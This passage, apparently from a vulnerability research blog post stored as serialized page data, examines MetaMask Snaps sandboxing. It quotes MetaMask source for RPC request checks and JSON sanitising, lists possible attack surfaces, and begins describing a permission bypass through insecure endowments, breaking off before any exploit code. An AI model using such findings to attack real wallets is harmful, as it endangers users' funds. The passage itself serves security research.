",{"type":23,"tag":87,"props":37976,"children":37977},{},[37978],{"type":28,"value":37979},"hardened",{"type":28,"value":37981},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":131,"props":37983,"children":37984},{"start":524},[37985],{"type":23,"tag":135,"props":37986,"children":37987},{},[37988],{"type":23,"tag":95,"props":37989,"children":37990},{},[37991,37993],{"type":28,"value":37992},"Evaluate the snap code inside the ",{"type":23,"tag":36,"props":37994,"children":37997},{"href":37995,"rel":37996},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[40],[37998],{"type":28,"value":37461},{"type":23,"tag":202,"props":38000,"children":38002},{"className":35671,"code":38001,"language":35673,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[38003],{"type":23,"tag":209,"props":38004,"children":38005},{"__ignoreMap":7},[38006,38047,38077,38114],{"type":23,"tag":213,"props":38007,"children":38008},{"class":215,"line":216},[38009,38013,38017,38021,38026,38030,38034,38039,38043],{"type":23,"tag":213,"props":38010,"children":38011},{"style":1362},[38012],{"type":28,"value":32972},{"type":23,"tag":213,"props":38014,"children":38015},{"style":230},[38016],{"type":28,"value":35774},{"type":23,"tag":213,"props":38018,"children":38019},{"style":220},[38020],{"type":28,"value":124},{"type":23,"tag":213,"props":38022,"children":38023},{"style":257},[38024],{"type":28,"value":38025},"executeInSnapContext",{"type":23,"tag":213,"props":38027,"children":38028},{"style":220},[38029],{"type":28,"value":265},{"type":23,"tag":213,"props":38031,"children":38032},{"style":268},[38033],{"type":28,"value":36078},{"type":23,"tag":213,"props":38035,"children":38036},{"style":220},[38037],{"type":28,"value":38038},", () ",{"type":23,"tag":213,"props":38040,"children":38041},{"style":230},[38042],{"type":28,"value":1445},{"type":23,"tag":213,"props":38044,"children":38045},{"style":220},[38046],{"type":28,"value":1375},{"type":23,"tag":213,"props":38048,"children":38049},{"class":215,"line":226},[38050,38055,38059,38064,38068,38073],{"type":23,"tag":213,"props":38051,"children":38052},{"style":268},[38053],{"type":28,"value":38054}," compartment",{"type":23,"tag":213,"props":38056,"children":38057},{"style":220},[38058],{"type":28,"value":124},{"type":23,"tag":213,"props":38060,"children":38061},{"style":257},[38062],{"type":28,"value":38063},"evaluate",{"type":23,"tag":213,"props":38065,"children":38066},{"style":220},[38067],{"type":28,"value":265},{"type":23,"tag":213,"props":38069,"children":38070},{"style":268},[38071],{"type":28,"value":38072},"sourceCode",{"type":23,"tag":213,"props":38074,"children":38075},{"style":220},[38076],{"type":28,"value":2867},{"type":23,"tag":213,"props":38078,"children":38079},{"class":215,"line":524},[38080,38084,38088,38093,38097,38101,38105,38110],{"type":23,"tag":213,"props":38081,"children":38082},{"style":230},[38083],{"type":28,"value":36122},{"type":23,"tag":213,"props":38085,"children":38086},{"style":220},[38087],{"type":28,"value":124},{"type":23,"tag":213,"props":38089,"children":38090},{"style":257},[38091],{"type":28,"value":38092},"registerSnapExports",{"type":23,"tag":213,"props":38094,"children":38095},{"style":220},[38096],{"type":28,"value":265},{"type":23,"tag":213,"props":38098,"children":38099},{"style":268},[38100],{"type":28,"value":36078},{"type":23,"tag":213,"props":38102,"children":38103},{"style":220},[38104],{"type":28,"value":424},{"type":23,"tag":213,"props":38106,"children":38107},{"style":268},[38108],{"type":28,"value":38109},"snapModule",{"type":23,"tag":213,"props":38111,"children":38112},{"style":220},[38113],{"type":28,"value":2867},{"type":23,"tag":213,"props":38115,"children":38116},{"class":215,"line":533},[38117],{"type":23,"tag":213,"props":38118,"children":38119},{"style":220},[38120],{"type":28,"value":35395},{"type":23,"tag":24,"props":38122,"children":38123},{},[38124,38126,38132,38133,38139,38140,38146],{"type":28,"value":38125},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":209,"props":38127,"children":38129},{"className":38128},[],[38130],{"type":28,"value":38131},"onRpcRequest",{"type":28,"value":424},{"type":23,"tag":209,"props":38134,"children":38136},{"className":38135},[],[38137],{"type":28,"value":38138},"onTransaction",{"type":28,"value":108},{"type":23,"tag":209,"props":38141,"children":38143},{"className":38142},[],[38144],{"type":28,"value":38145},"onCronjob",{"type":28,"value":124},{"type":23,"tag":24,"props":38148,"children":38149},{},[38150,38152,38157],{"type":28,"value":38151},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":209,"props":38153,"children":38155},{"className":38154},[],[38156],{"type":28,"value":37475},{"type":28,"value":38158}," environment of that Compartment.",{"type":23,"tag":24,"props":38160,"children":38161},{},[38162],{"type":28,"value":38163},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":47,"props":38165,"children":38167},{"id":38166},"vulnerability-research",[38168],{"type":28,"value":38169},"Vulnerability research",{"type":23,"tag":9693,"props":38171,"children":38173},{"id":38172},"possible-attacks",[38174],{"type":28,"value":38175},"Possible attacks",{"type":23,"tag":24,"props":38177,"children":38178},{},[38179],{"type":28,"value":38180},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":168,"props":38182,"children":38183},{},[38184,38189,38194,38199],{"type":23,"tag":135,"props":38185,"children":38186},{},[38187],{"type":28,"value":38188},"Broken SES Container isolation",{"type":23,"tag":135,"props":38190,"children":38191},{},[38192],{"type":28,"value":38193},"Insecure endowments in Containers",{"type":23,"tag":135,"props":38195,"children":38196},{},[38197],{"type":28,"value":38198},"Incorrect RPC permission checks",{"type":23,"tag":135,"props":38200,"children":38201},{},[38202],{"type":28,"value":38203},"Insecure snap installation/update",{"type":23,"tag":24,"props":38205,"children":38206},{},[38207],{"type":28,"value":38208},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":38210,"children":38211},{},[38212],{"type":28,"value":38213},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":9693,"props":38215,"children":38217},{"id":38216},"rpc-interfaces-endowments",[38218],{"type":28,"value":38219},"RPC interfaces endowments",{"type":23,"tag":18945,"props":38221,"children":38223},{"id":38222},"providers-limitations",[38224],{"type":28,"value":38225},"Providers limitations",{"type":23,"tag":24,"props":38227,"children":38228},{},[38229,38231,38237,38238,38243,38245,38251],{"type":28,"value":38230},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":209,"props":38232,"children":38234},{"className":38233},[],[38235],{"type":28,"value":38236},"snap",{"type":28,"value":1466},{"type":23,"tag":209,"props":38239,"children":38241},{"className":38240},[],[38242],{"type":28,"value":31473},{"type":28,"value":38244}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":36,"props":38246,"children":38249},{"href":38247,"rel":38248},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[40],[38250],{"type":28,"value":159},{"type":28,"value":277},{"type":23,"tag":202,"props":38253,"children":38255},{"className":35671,"code":38254,"language":35673,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[38256],{"type":23,"tag":209,"props":38257,"children":38258},{"__ignoreMap":7},[38259,38299,38307,38319,38389,38450,38462,38470,38481,38521,38551,38563,38588,38595,38603,38610,38648],{"type":23,"tag":213,"props":38260,"children":38261},{"class":215,"line":216},[38262,38267,38272,38277,38281,38286,38290,38295],{"type":23,"tag":213,"props":38263,"children":38264},{"style":1362},[38265],{"type":28,"value":38266},"export",{"type":23,"tag":213,"props":38268,"children":38269},{"style":230},[38270],{"type":28,"value":38271}," function",{"type":23,"tag":213,"props":38273,"children":38274},{"style":257},[38275],{"type":28,"value":38276}," assertSnapOutboundRequest",{"type":23,"tag":213,"props":38278,"children":38279},{"style":220},[38280],{"type":28,"value":265},{"type":23,"tag":213,"props":38282,"children":38283},{"style":268},[38284],{"type":28,"value":38285},"args",{"type":23,"tag":213,"props":38287,"children":38288},{"style":274},[38289],{"type":28,"value":277},{"type":23,"tag":213,"props":38291,"children":38292},{"style":290},[38293],{"type":28,"value":38294}," RequestArguments",{"type":23,"tag":213,"props":38296,"children":38297},{"style":220},[38298],{"type":28,"value":14870},{"type":23,"tag":213,"props":38300,"children":38301},{"class":215,"line":226},[38302],{"type":23,"tag":213,"props":38303,"children":38304},{"style":537},[38305],{"type":28,"value":38306}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":213,"props":38308,"children":38309},{"class":215,"line":524},[38310,38315],{"type":23,"tag":213,"props":38311,"children":38312},{"style":257},[38313],{"type":28,"value":38314}," assert",{"type":23,"tag":213,"props":38316,"children":38317},{"style":220},[38318],{"type":28,"value":1511},{"type":23,"tag":213,"props":38320,"children":38321},{"class":215,"line":533},[38322,38327,38331,38336,38340,38345,38349,38354,38358,38362,38366,38371,38375,38380,38384],{"type":23,"tag":213,"props":38323,"children":38324},{"style":290},[38325],{"type":28,"value":38326}," String",{"type":23,"tag":213,"props":38328,"children":38329},{"style":220},[38330],{"type":28,"value":124},{"type":23,"tag":213,"props":38332,"children":38333},{"style":268},[38334],{"type":28,"value":38335},"prototype",{"type":23,"tag":213,"props":38337,"children":38338},{"style":220},[38339],{"type":28,"value":124},{"type":23,"tag":213,"props":38341,"children":38342},{"style":268},[38343],{"type":28,"value":38344},"startsWith",{"type":23,"tag":213,"props":38346,"children":38347},{"style":220},[38348],{"type":28,"value":124},{"type":23,"tag":213,"props":38350,"children":38351},{"style":257},[38352],{"type":28,"value":38353},"call",{"type":23,"tag":213,"props":38355,"children":38356},{"style":220},[38357],{"type":28,"value":265},{"type":23,"tag":213,"props":38359,"children":38360},{"style":268},[38361],{"type":28,"value":38285},{"type":23,"tag":213,"props":38363,"children":38364},{"style":220},[38365],{"type":28,"value":124},{"type":23,"tag":213,"props":38367,"children":38368},{"style":268},[38369],{"type":28,"value":38370},"method",{"type":23,"tag":213,"props":38372,"children":38373},{"style":220},[38374],{"type":28,"value":424},{"type":23,"tag":213,"props":38376,"children":38377},{"style":246},[38378],{"type":28,"value":38379},"'wallet_'",{"type":23,"tag":213,"props":38381,"children":38382},{"style":220},[38383],{"type":28,"value":298},{"type":23,"tag":213,"props":38385,"children":38386},{"style":274},[38387],{"type":28,"value":38388},"||\n",{"type":23,"tag":213,"props":38390,"children":38391},{"class":215,"line":543},[38392,38397,38401,38405,38409,38413,38417,38421,38425,38429,38433,38437,38441,38446],{"type":23,"tag":213,"props":38393,"children":38394},{"style":290},[38395],{"type":28,"value":38396}," String",{"type":23,"tag":213,"props":38398,"children":38399},{"style":220},[38400],{"type":28,"value":124},{"type":23,"tag":213,"props":38402,"children":38403},{"style":268},[38404],{"type":28,"value":38335},{"type":23,"tag":213,"props":38406,"children":38407},{"style":220},[38408],{"type":28,"value":124},{"type":23,"tag":213,"props":38410,"children":38411},{"style":268},[38412],{"type":28,"value":38344},{"type":23,"tag":213,"props":38414,"children":38415},{"style":220},[38416],{"type":28,"value":124},{"type":23,"tag":213,"props":38418,"children":38419},{"style":257},[38420],{"type":28,"value":38353},{"type":23,"tag":213,"props":38422,"children":38423},{"style":220},[38424],{"type":28,"value":265},{"type":23,"tag":213,"props":38426,"children":38427},{"style":268},[38428],{"type":28,"value":38285},{"type":23,"tag":213,"props":38430,"children":38431},{"style":220},[38432],{"type":28,"value":124},{"type":23,"tag":213,"props":38434,"children":38435},{"style":268},[38436],{"type":28,"value":38370},{"type":23,"tag":213,"props":38438,"children":38439},{"style":220},[38440],{"type":28,"value":424},{"type":23,"tag":213,"props":38442,"children":38443},{"style":246},[38444],{"type":28,"value":38445},"'snap_'",{"type":23,"tag":213,"props":38447,"children":38448},{"style":220},[38449],{"type":28,"value":1715},{"type":23,"tag":213,"props":38451,"children":38452},{"class":215,"line":551},[38453,38458],{"type":23,"tag":213,"props":38454,"children":38455},{"style":246},[38456],{"type":28,"value":38457}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":213,"props":38459,"children":38460},{"style":220},[38461],{"type":28,"value":944},{"type":23,"tag":213,"props":38463,"children":38464},{"class":215,"line":570},[38465],{"type":23,"tag":213,"props":38466,"children":38467},{"style":220},[38468],{"type":28,"value":38469}," );\n",{"type":23,"tag":213,"props":38471,"children":38472},{"class":215,"line":655},[38473,38477],{"type":23,"tag":213,"props":38474,"children":38475},{"style":257},[38476],{"type":28,"value":38314},{"type":23,"tag":213,"props":38478,"children":38479},{"style":220},[38480],{"type":28,"value":1511},{"type":23,"tag":213,"props":38482,"children":38483},{"class":215,"line":1176},[38484,38488,38493,38497,38501,38505,38509,38513,38517],{"type":23,"tag":213,"props":38485,"children":38486},{"style":274},[38487],{"type":28,"value":21021},{"type":23,"tag":213,"props":38489,"children":38490},{"style":268},[38491],{"type":28,"value":38492},"BLOCKED_RPC_METHODS",{"type":23,"tag":213,"props":38494,"children":38495},{"style":220},[38496],{"type":28,"value":124},{"type":23,"tag":213,"props":38498,"children":38499},{"style":257},[38500],{"type":28,"value":35238},{"type":23,"tag":213,"props":38502,"children":38503},{"style":220},[38504],{"type":28,"value":265},{"type":23,"tag":213,"props":38506,"children":38507},{"style":268},[38508],{"type":28,"value":38285},{"type":23,"tag":213,"props":38510,"children":38511},{"style":220},[38512],{"type":28,"value":124},{"type":23,"tag":213,"props":38514,"children":38515},{"style":268},[38516],{"type":28,"value":38370},{"type":23,"tag":213,"props":38518,"children":38519},{"style":220},[38520],{"type":28,"value":1715},{"type":23,"tag":213,"props":38522,"children":38523},{"class":215,"line":1202},[38524,38529,38533,38538,38542,38547],{"type":23,"tag":213,"props":38525,"children":38526},{"style":268},[38527],{"type":28,"value":38528}," ethErrors",{"type":23,"tag":213,"props":38530,"children":38531},{"style":220},[38532],{"type":28,"value":124},{"type":23,"tag":213,"props":38534,"children":38535},{"style":268},[38536],{"type":28,"value":38537},"rpc",{"type":23,"tag":213,"props":38539,"children":38540},{"style":220},[38541],{"type":28,"value":124},{"type":23,"tag":213,"props":38543,"children":38544},{"style":257},[38545],{"type":28,"value":38546},"methodNotFound",{"type":23,"tag":213,"props":38548,"children":38549},{"style":220},[38550],{"type":28,"value":15199},{"type":23,"tag":213,"props":38552,"children":38553},{"class":215,"line":1758},[38554,38559],{"type":23,"tag":213,"props":38555,"children":38556},{"style":268},[38557],{"type":28,"value":38558}," data:",{"type":23,"tag":213,"props":38560,"children":38561},{"style":220},[38562],{"type":28,"value":1375},{"type":23,"tag":213,"props":38564,"children":38565},{"class":215,"line":1767},[38566,38571,38576,38580,38584],{"type":23,"tag":213,"props":38567,"children":38568},{"style":268},[38569],{"type":28,"value":38570}," method:",{"type":23,"tag":213,"props":38572,"children":38573},{"style":268},[38574],{"type":28,"value":38575}," args",{"type":23,"tag":213,"props":38577,"children":38578},{"style":220},[38579],{"type":28,"value":124},{"type":23,"tag":213,"props":38581,"children":38582},{"style":268},[38583],{"type":28,"value":38370},{"type":23,"tag":213,"props":38585,"children":38586},{"style":220},[38587],{"type":28,"value":944},{"type":23,"tag":213,"props":38589,"children":38590},{"class":215,"line":1789},[38591],{"type":23,"tag":213,"props":38592,"children":38593},{"style":220},[38594],{"type":28,"value":37257},{"type":23,"tag":213,"props":38596,"children":38597},{"class":215,"line":1812},[38598],{"type":23,"tag":213,"props":38599,"children":38600},{"style":220},[38601],{"type":28,"value":38602}," }),\n",{"type":23,"tag":213,"props":38604,"children":38605},{"class":215,"line":1838},[38606],{"type":23,"tag":213,"props":38607,"children":38608},{"style":220},[38609],{"type":28,"value":38469},{"type":23,"tag":213,"props":38611,"children":38612},{"class":215,"line":1851},[38613,38618,38622,38626,38630,38635,38639,38644],{"type":23,"tag":213,"props":38614,"children":38615},{"style":257},[38616],{"type":28,"value":38617}," assertStruct",{"type":23,"tag":213,"props":38619,"children":38620},{"style":220},[38621],{"type":28,"value":265},{"type":23,"tag":213,"props":38623,"children":38624},{"style":268},[38625],{"type":28,"value":38285},{"type":23,"tag":213,"props":38627,"children":38628},{"style":220},[38629],{"type":28,"value":424},{"type":23,"tag":213,"props":38631,"children":38632},{"style":268},[38633],{"type":28,"value":38634},"JsonStruct",{"type":23,"tag":213,"props":38636,"children":38637},{"style":220},[38638],{"type":28,"value":424},{"type":23,"tag":213,"props":38640,"children":38641},{"style":246},[38642],{"type":28,"value":38643},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":213,"props":38645,"children":38646},{"style":220},[38647],{"type":28,"value":2867},{"type":23,"tag":213,"props":38649,"children":38650},{"class":215,"line":1864},[38651],{"type":23,"tag":213,"props":38652,"children":38653},{"style":220},[38654],{"type":28,"value":1208},{"type":23,"tag":24,"props":38656,"children":38657},{},[38658,38660,38665,38667,38673,38674,38680],{"type":28,"value":38659},"This function is called by the ",{"type":23,"tag":209,"props":38661,"children":38663},{"className":38662},[],[38664],{"type":28,"value":38236},{"type":28,"value":38666}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":209,"props":38668,"children":38670},{"className":38669},[],[38671],{"type":28,"value":38672},"wallet_",{"type":28,"value":108},{"type":23,"tag":209,"props":38675,"children":38677},{"className":38676},[],[38678],{"type":28,"value":38679},"snap_",{"type":28,"value":38681},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":38683,"children":38684},{},[38685,38687,38692,38694,38699,38701,38707],{"type":28,"value":38686},"On the other hand, the ",{"type":23,"tag":209,"props":38688,"children":38690},{"className":38689},[],[38691],{"type":28,"value":31473},{"type":28,"value":38693}," provider only blocks methods starting with ",{"type":23,"tag":209,"props":38695,"children":38697},{"className":38696},[],[38698],{"type":28,"value":38679},{"type":28,"value":38700}," and the blocked methods. However, it requires the ",{"type":23,"tag":209,"props":38702,"children":38704},{"className":38703},[],[38705],{"type":28,"value":38706},"endowment:ethereum-provider",{"type":28,"value":38708}," permission in the snap manifest.",{"type":23,"tag":18945,"props":38710,"children":38712},{"id":38711},"execution-flow",[38713],{"type":28,"value":38714},"Execution flow",{"type":23,"tag":24,"props":38716,"children":38717},{},[38718,38720,38725,38726,38731,38733,38738,38739,38745],{"type":28,"value":38719},"Both providers (",{"type":23,"tag":209,"props":38721,"children":38723},{"className":38722},[],[38724],{"type":28,"value":38236},{"type":28,"value":1466},{"type":23,"tag":209,"props":38727,"children":38729},{"className":38728},[],[38730],{"type":28,"value":31473},{"type":28,"value":38732},") are built outside the SES container with a ",{"type":23,"tag":209,"props":38734,"children":38736},{"className":38735},[],[38737],{"type":28,"value":31549},{"type":28,"value":6550},{"type":23,"tag":36,"props":38740,"children":38743},{"href":38741,"rel":38742},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[40],[38744],{"type":28,"value":31433},{"type":28,"value":277},{"type":23,"tag":202,"props":38747,"children":38749},{"className":35988,"code":38748,"language":35990,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[38750],{"type":23,"tag":209,"props":38751,"children":38752},{"__ignoreMap":7},[38753,38800,38825,38858,38893,38905,38925,38963,38983,38990,39007,39040,39047],{"type":23,"tag":213,"props":38754,"children":38755},{"class":215,"line":216},[38756,38760,38764,38768,38772,38776,38780,38784,38788,38792,38796],{"type":23,"tag":213,"props":38757,"children":38758},{"style":230},[38759],{"type":28,"value":36246},{"type":23,"tag":213,"props":38761,"children":38762},{"style":257},[38763],{"type":28,"value":31438},{"type":23,"tag":213,"props":38765,"children":38766},{"style":274},[38767],{"type":28,"value":511},{"type":23,"tag":213,"props":38769,"children":38770},{"style":230},[38771],{"type":28,"value":36423},{"type":23,"tag":213,"props":38773,"children":38774},{"style":220},[38775],{"type":28,"value":400},{"type":23,"tag":213,"props":38777,"children":38778},{"style":268},[38779],{"type":28,"value":38285},{"type":23,"tag":213,"props":38781,"children":38782},{"style":274},[38783],{"type":28,"value":277},{"type":23,"tag":213,"props":38785,"children":38786},{"style":290},[38787],{"type":28,"value":38294},{"type":23,"tag":213,"props":38789,"children":38790},{"style":220},[38791],{"type":28,"value":298},{"type":23,"tag":213,"props":38793,"children":38794},{"style":230},[38795],{"type":28,"value":1445},{"type":23,"tag":213,"props":38797,"children":38798},{"style":220},[38799],{"type":28,"value":1375},{"type":23,"tag":213,"props":38801,"children":38802},{"class":215,"line":226},[38803,38808,38812,38816,38820],{"type":23,"tag":213,"props":38804,"children":38805},{"style":257},[38806],{"type":28,"value":38807}," assertSnapOutboundRequest",{"type":23,"tag":213,"props":38809,"children":38810},{"style":220},[38811],{"type":28,"value":265},{"type":23,"tag":213,"props":38813,"children":38814},{"style":268},[38815],{"type":28,"value":38285},{"type":23,"tag":213,"props":38817,"children":38818},{"style":220},[38819],{"type":28,"value":28409},{"type":23,"tag":213,"props":38821,"children":38822},{"style":537},[38823],{"type":28,"value":38824},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":213,"props":38826,"children":38827},{"class":215,"line":524},[38828,38832,38837,38841,38846,38850,38854],{"type":23,"tag":213,"props":38829,"children":38830},{"style":230},[38831],{"type":28,"value":31603},{"type":23,"tag":213,"props":38833,"children":38834},{"style":268},[38835],{"type":28,"value":38836}," sanitizedArgs",{"type":23,"tag":213,"props":38838,"children":38839},{"style":274},[38840],{"type":28,"value":511},{"type":23,"tag":213,"props":38842,"children":38843},{"style":257},[38844],{"type":28,"value":38845}," getSafeJson",{"type":23,"tag":213,"props":38847,"children":38848},{"style":220},[38849],{"type":28,"value":265},{"type":23,"tag":213,"props":38851,"children":38852},{"style":268},[38853],{"type":28,"value":38285},{"type":23,"tag":213,"props":38855,"children":38856},{"style":220},[38857],{"type":28,"value":2867},{"type":23,"tag":213,"props":38859,"children":38860},{"class":215,"line":533},[38861,38866,38870,38875,38879,38883,38888],{"type":23,"tag":213,"props":38862,"children":38863},{"style":230},[38864],{"type":28,"value":38865}," this",{"type":23,"tag":213,"props":38867,"children":38868},{"style":220},[38869],{"type":28,"value":124},{"type":23,"tag":213,"props":38871,"children":38872},{"style":257},[38873],{"type":28,"value":38874},"notify",{"type":23,"tag":213,"props":38876,"children":38877},{"style":220},[38878],{"type":28,"value":31554},{"type":23,"tag":213,"props":38880,"children":38881},{"style":268},[38882],{"type":28,"value":31559},{"type":23,"tag":213,"props":38884,"children":38885},{"style":246},[38886],{"type":28,"value":38887}," 'OutboundRequest'",{"type":23,"tag":213,"props":38889,"children":38890},{"style":220},[38891],{"type":28,"value":38892}," });\n",{"type":23,"tag":213,"props":38894,"children":38895},{"class":215,"line":543},[38896,38901],{"type":23,"tag":213,"props":38897,"children":38898},{"style":1362},[38899],{"type":28,"value":38900}," try",{"type":23,"tag":213,"props":38902,"children":38903},{"style":220},[38904],{"type":28,"value":1375},{"type":23,"tag":213,"props":38906,"children":38907},{"class":215,"line":551},[38908,38912,38916,38921],{"type":23,"tag":213,"props":38909,"children":38910},{"style":1362},[38911],{"type":28,"value":2839},{"type":23,"tag":213,"props":38913,"children":38914},{"style":1362},[38915],{"type":28,"value":36269},{"type":23,"tag":213,"props":38917,"children":38918},{"style":257},[38919],{"type":28,"value":38920}," withTeardown",{"type":23,"tag":213,"props":38922,"children":38923},{"style":220},[38924],{"type":28,"value":1511},{"type":23,"tag":213,"props":38926,"children":38927},{"class":215,"line":570},[38928,38933,38937,38942,38946,38951,38955,38959],{"type":23,"tag":213,"props":38929,"children":38930},{"style":257},[38931],{"type":28,"value":38932}," originalRequest",{"type":23,"tag":213,"props":38934,"children":38935},{"style":220},[38936],{"type":28,"value":265},{"type":23,"tag":213,"props":38938,"children":38939},{"style":268},[38940],{"type":28,"value":38941},"sanitizedArgs",{"type":23,"tag":213,"props":38943,"children":38944},{"style":1362},[38945],{"type":28,"value":8913},{"type":23,"tag":213,"props":38947,"children":38948},{"style":290},[38949],{"type":28,"value":38950}," unknown",{"type":23,"tag":213,"props":38952,"children":38953},{"style":1362},[38954],{"type":28,"value":8913},{"type":23,"tag":213,"props":38956,"children":38957},{"style":290},[38958],{"type":28,"value":38294},{"type":23,"tag":213,"props":38960,"children":38961},{"style":220},[38962],{"type":28,"value":1715},{"type":23,"tag":213,"props":38964,"children":38965},{"class":215,"line":655},[38966,38971,38975,38979],{"type":23,"tag":213,"props":38967,"children":38968},{"style":230},[38969],{"type":28,"value":38970}," this",{"type":23,"tag":213,"props":38972,"children":38973},{"style":1362},[38974],{"type":28,"value":8913},{"type":23,"tag":213,"props":38976,"children":38977},{"style":290},[38978],{"type":28,"value":10441},{"type":23,"tag":213,"props":38980,"children":38981},{"style":220},[38982],{"type":28,"value":944},{"type":23,"tag":213,"props":38984,"children":38985},{"class":215,"line":1176},[38986],{"type":23,"tag":213,"props":38987,"children":38988},{"style":220},[38989],{"type":28,"value":2831},{"type":23,"tag":213,"props":38991,"children":38992},{"class":215,"line":1202},[38993,38998,39003],{"type":23,"tag":213,"props":38994,"children":38995},{"style":220},[38996],{"type":28,"value":38997}," } ",{"type":23,"tag":213,"props":38999,"children":39000},{"style":1362},[39001],{"type":28,"value":39002},"finally",{"type":23,"tag":213,"props":39004,"children":39005},{"style":220},[39006],{"type":28,"value":1375},{"type":23,"tag":213,"props":39008,"children":39009},{"class":215,"line":1758},[39010,39015,39019,39023,39027,39031,39036],{"type":23,"tag":213,"props":39011,"children":39012},{"style":230},[39013],{"type":28,"value":39014}," this",{"type":23,"tag":213,"props":39016,"children":39017},{"style":220},[39018],{"type":28,"value":124},{"type":23,"tag":213,"props":39020,"children":39021},{"style":257},[39022],{"type":28,"value":38874},{"type":23,"tag":213,"props":39024,"children":39025},{"style":220},[39026],{"type":28,"value":31554},{"type":23,"tag":213,"props":39028,"children":39029},{"style":268},[39030],{"type":28,"value":31559},{"type":23,"tag":213,"props":39032,"children":39033},{"style":246},[39034],{"type":28,"value":39035}," 'OutboundResponse'",{"type":23,"tag":213,"props":39037,"children":39038},{"style":220},[39039],{"type":28,"value":38892},{"type":23,"tag":213,"props":39041,"children":39042},{"class":215,"line":1767},[39043],{"type":23,"tag":213,"props":39044,"children":39045},{"style":220},[39046],{"type":28,"value":12746},{"type":23,"tag":213,"props":39048,"children":39049},{"class":215,"line":1789},[39050],{"type":23,"tag":213,"props":39051,"children":39052},{"style":220},[39053],{"type":28,"value":39054}," };\n",{"type":23,"tag":24,"props":39056,"children":39057},{},[39058,39060,39065,39067,39072],{"type":28,"value":39059},"In particular, this function is from the ",{"type":23,"tag":209,"props":39061,"children":39063},{"className":39062},[],[39064],{"type":28,"value":38236},{"type":28,"value":39066}," provider, but the only thing that changes between this and ",{"type":23,"tag":209,"props":39068,"children":39070},{"className":39069},[],[39071],{"type":28,"value":31473},{"type":28,"value":39073}," is the assert function in the first line.",{"type":23,"tag":24,"props":39075,"children":39076},{},[39077],{"type":28,"value":39078},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":131,"props":39080,"children":39081},{},[39082,39094,39099],{"type":23,"tag":135,"props":39083,"children":39084},{},[39085,39087,39092],{"type":28,"value":39086},"Assert if ",{"type":23,"tag":209,"props":39088,"children":39090},{"className":39089},[],[39091],{"type":28,"value":38285},{"type":28,"value":39093}," are valid",{"type":23,"tag":135,"props":39095,"children":39096},{},[39097],{"type":28,"value":39098},"getSafeJson to get sanitizedArgs",{"type":23,"tag":135,"props":39100,"children":39101},{},[39102],{"type":28,"value":39103},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":39105,"children":39106},{},[39107,39109,39115],{"type":28,"value":39108},"Obs: ",{"type":23,"tag":209,"props":39110,"children":39112},{"className":39111},[],[39113],{"type":28,"value":39114},"originalRequest",{"type":28,"value":39116}," makes the RPC call to metamask service worker",{"type":23,"tag":9693,"props":39118,"children":39120},{"id":39119},"safe-json-exploit",[39121],{"type":28,"value":39122},"Safe JSON Exploit",{"type":23,"tag":24,"props":39124,"children":39125},{},[39126,39128,39134,39136,39141,39143,39149],{"type":28,"value":39127},"As we dug further into the",{"type":23,"tag":209,"props":39129,"children":39131},{"className":39130},[],[39132],{"type":28,"value":39133},"getSafeJson",{"type":28,"value":39135}," function (defined in ",{"type":23,"tag":209,"props":39137,"children":39139},{"className":39138},[],[39140],{"type":28,"value":37354},{"type":28,"value":39142}," package) we discovered the following ",{"type":23,"tag":36,"props":39144,"children":39147},{"href":39145,"rel":39146},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[40],[39148],{"type":28,"value":209},{"type":28,"value":277},{"type":23,"tag":202,"props":39151,"children":39153},{"className":35671,"code":39152,"language":35673,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n 